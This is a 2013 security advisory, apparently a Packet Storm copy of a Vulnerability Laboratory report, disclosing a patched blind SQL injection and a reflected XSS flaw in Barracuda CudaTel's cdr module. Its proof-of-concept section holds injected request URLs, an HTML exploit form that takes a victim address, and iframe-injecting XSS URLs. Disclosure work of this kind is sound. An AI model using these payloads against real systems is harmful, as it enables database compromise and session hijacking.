Barracuda CudaTel 2.6.02.040 SQL Injection

2013-07-20T00:00:00
ID PACKETSTORM:122490
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2013-07-20T00:00:00

Description

                                        
                                            `Title:  
======  
Barracuda CudaTel 2.6.02.040 - Remote SQL Injection Vulnerability  
  
  
Date:  
=====  
2013-07-20  
  
  
References:  
===========  
http://vulnerability-lab.com/get_content.php?id=775  
  
BARRACUDA NETWORK SECURITY ID: BNSEC-723  
  
  
VL-ID:  
=====  
775  
  
  
Common Vulnerability Scoring System:  
====================================  
8.6  
  
  
Introduction:  
=============  
Designed to enable seamless voice and video communication, the CudaTel Communication Server is an easy-to-use,   
affordable, next-generation phone system for businesses. CudaTel Communication Server s enterprise-class   
feature set includes Voice over IP (VoIP) PBX services, conferencing, follow-me, automated attendant services,   
and more, controlled by an easy-to-use Web interface. CudaTel Communication Server is compatible with any SIP   
device and provider, and can be pre-configured for use with both analog and digital telephone networks. Powerful,   
Complete Solution With an expansive feature set and and no per user or phone licensing fees, the CudaTel   
Communication Server is equipped and priced for organizations of any size. Native High Definition audio support   
and integrated phone line (TDM) hardware produces an unparalleled audio experience. VOIP encryption protects calls   
from hackers and digital eavesdroppers.  
  
(Copy of the Vendor Homepage: http://www.barracudanetworks.ca/cudatel.aspx )  
  
  
Abstract:  
=========  
1.1  
The Vulnerability Laboratory Research Team discovered a sql injection vulnerability in Barracuda Networks CudaTel v2.6.002.040 appliance application.  
  
1.2  
The Vulnerability Laboratory Research Team discovered a client side vulnerability in Barracuda Networks CudaTel v2.6.002.040 appliance application.  
  
  
Report-Timeline:  
================  
2012-11-26: Researcher Notification & Coordination (Benjamin Kunz Mejri)  
2012-11-27: Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program)  
2012-12-01: Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program)  
2013-03-01: Vendor Fix/Patch (Barracuda Networks Developer Team) [Manager: Dave Farrow]  
2013-07-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Barracuda Networks  
Product: CudaTel - Communication Server 2.6.002.040  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
1.1  
A SQL Injection vulnerability is detected in the Barracuda Networks CudaTel v2.6.002.040 appliance web application.  
The vulnerability allows remote attackers or local low privilege application user accounts to inject (execute)   
own SQL commands to the affected application dbms.   
  
The blind sql injection vulnerability is located in the cdr module when processing to request manipulated row & page   
parameters as searchstring. A remote attacker can for example delete the standard value context of the module request   
to inject (execute) own sql commands.   
  
Eploitation of the vulnerability requires a low privilege web application user account and no user interaction.  
Successful exploitation of the vulnerability results in datbase management system and web application compromise.  
  
Vulnerable Section(s)  
[+] search - listing  
  
Vulnerable Module(s)  
[+] cdr - seachstring listing  
  
Vulnerable Parameter(s)  
[+] &row  
[+] &page  
  
  
  
1.2  
A client side input validation vulnerability is detected in the Barracuda Networks CudaTel v2.6.002.040 appliance web application.  
The non-persistent vulnerability allows remote attackers to manipulate client side application requests to browser.  
  
The secound vulnerability (client side) is located in the invalid value exception handling. Remote attackers can provoke the   
exception-handling by including invalid script code inputs to redisplay the malicious context when processing to load the output.  
To provoke the exception-handling the remote attacker can use the vulnerable row parameter of the cdr searchstring listing to   
execute own malicious (client-side) script code.  
  
Exploitation of the vulnerability requires a no web application user account but medium or high user interaction.  
Successful exploitation of the vulnerability results in client side phishing, client side session hijacking and client side   
external redirects to malware or malicious websites. Exploitation requires medium user interaction.  
  
Vulnerable Section(s):  
[+] search - listing  
  
Vulnerable Module(s):  
[+] cdr - seachstring listing  
  
Vulnerable Parameter(s):  
[+] &row  
  
Affected Module(s):  
[+] Exception-Handling (invalid value)  
  
  
Proof of Concept:  
=================  
1.1  
The sql injection vulnerability can be exploited by remote attackers with low privilege web application user account and without user interaction.  
For demonstration or reproduce ...  
  
Standard Request: Row 100  
http://cudatel.127.0.0.1:1336/gui/cdr/cdr?_=1353973149509&since=1+day&search_string=&rows=100&page=1&sortby=end_timestamp&sortorder=desc  
  
Standard Request: Output  
--- 1.  
{"count":0,"page":"1","cdr":[],"rows":"100"}  
  
  
Manipulated Request:   
http://cudatel.127.0.0.1:1337/gui/cdr/cdr?  
_=1353973149509&since=1+day&search_string=&rows=100&page='1+1%27[SQL-Injection!]%27--&sortby=end_timestamp&sortorder=desc  
... or  
http://cudatel.127.0.0.1:1337/gui/cdr/cdr?  
%20%20_=1353973149509&since=1+day&search_string=&page='1335&page='1336&page='1337&rows='1+1%27[SQL-Injection!]%27--&page=1&sortby=end_timestamp&sortorder=desc  
  
  
Manipulated Output:  
--- 1.  
  
cdr: []  
  
count: 0  
page: 1  
rows: 1+2  
  
  
--- 1.  
cdr: []  
  
count: 1+2'  
page:   
- '1335  
- '1336  
- '1337  
- '1  
rows: -1+1'[SQL-Injection!]'--  
  
  
Exploit (PoC):  
  
<html><head><body><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-9">  
<title>Barracuda Networks CudaTel [CDR] (ROW&PAGE) - Remote SQL-Injection [PROOF OF CONCEPT]</title>  
<script language="JavaScript">  
var path="/gui/cdr/cdr"  
var adres="?%20%20_=1353973149509&since=1+day&search_string=&page='1335&page='1336&page='1337&rows="  
var domain ="http://cudatel.127.0.0.1:1337"  
var sql = "'1+1%27[SQL-Injection!]%27--"   
function command(){  
if (document.rfi.target1.value==""){  
alert("NOPE!");  
return false;  
}   
rfi.action= document.rfi.target1.value+path+adres+domain+sql;  
rfi.submit();  
}  
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
// Barracuda Networks CudaTel [CDR] (ROW&PAGE) - Remote SQL-Injection Exploit  
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
// Vulnerability Research Laboratory (www.vulnerability-lab.com)  
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
// Greets: Ibrahim EL-Sayed, Chokri Ben Achour, Mohammed ABKD. & Stealthwalker  
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
</script></head><body bgcolor="#000000" link="#990000">  
<center><p align="center"><b><font face="Verdana" size="2" color="#006633">Barracuda Networks CudaTel [CDR] (ROW&PAGE)   
- Remote SQL-Injection Exploit</font>  
</b></p><form method="post" target="getting" name="rfi" onSubmit="command();"><div align="left">  
<p><b><font face="Arial" size="2" color="#006633">VICTIM:</font></b>  
<input type="text" name="target1" size="53" style="background-color: #006633" onMouseOver="javascript:this.style.background='#808080';" onMouseOut="javascript:this.style.background='#808000';"></p>  
<p><b><font face="Arial" size="2" color="#006633">EXAMPLE:</font><font face="Arial" size="2" color="#808080">   
HTTP://VULNERABILITY-LAB.COM/[SCRIPT-PATH]/</font></b></p></div>  
<p align="left"><input type="submit" value="Execute INPUT" name="B1">  
</p><p align="left"><input type="reset" value="Clear ALL" name="B2"></p></form><p><br>  
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe></p><div align="left">  
<p align="center"><b><font face="Verdana" size="2" color="#008000">VULNERABILITY-LAB <a href="mailto:research@vulnerability-lab.com">  
BKM</a></font></b></p></div></center></body></html>  
  
  
1.2  
The client side input validation vulnerability can be exploited by remote attackers without application user account and with medium required user interaction.  
For demonstration or reproduce ...  
  
PoC:  
http://cudatel.127.0.0.1:1336/gui/cdr/cdr?  
_=1353973149509&since=1+day&search_string=&rows=1%27[%3Ciframe%20src=http://www.vulnerability-lab.com%3E]&page=1&sortby=end_timestamp&sortorder=desc  
  
http://cudatel.127.0.0.1:1336/gui/cdr/cdr?  
_=1353973149509&since=1+day&search_string=&rows=100&page=1%27[%3Ciframe%20src=http://www.vulnerability-lab.com%3E]&sortby=end_timestamp&sortorder=desc  
  
Note: We only verified the bug with the same exception in a not parsed parameter but the bug itself is located in all areas of the invalid exception.  
  
  
Solution:  
=========  
1.1  
To patch the sql injection it is required to parse the row and page parameters in the cdr module.  
  
1.2  
To fix the client side xss vulnerability parse by encoding the row parameter and restrict the input.  
Encode the affected exception-handling output listing when processing to display invalid input values.  
  
Note: Barracuda Networks provided an update of version 2.6.002.040 to v2.6.003.x to all clients and customers in the bn customer area.  
  
  
Risk:  
=====  
1.1  
The security risk of the remote sql injection web vulnerability is estimated critical.  
  
1.2  
The security risk of the client side input validation web vulnerability is estimated as medium(-).  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases   
or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com  
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other   
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and   
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),   
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.  
  
Copyright © 2013 | Vulnerability Laboratory [Evolution Security]  
  
  
  
--   
VULNERABILITY LABORATORY RESEARCH TEAM  
DOMAIN: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
  
`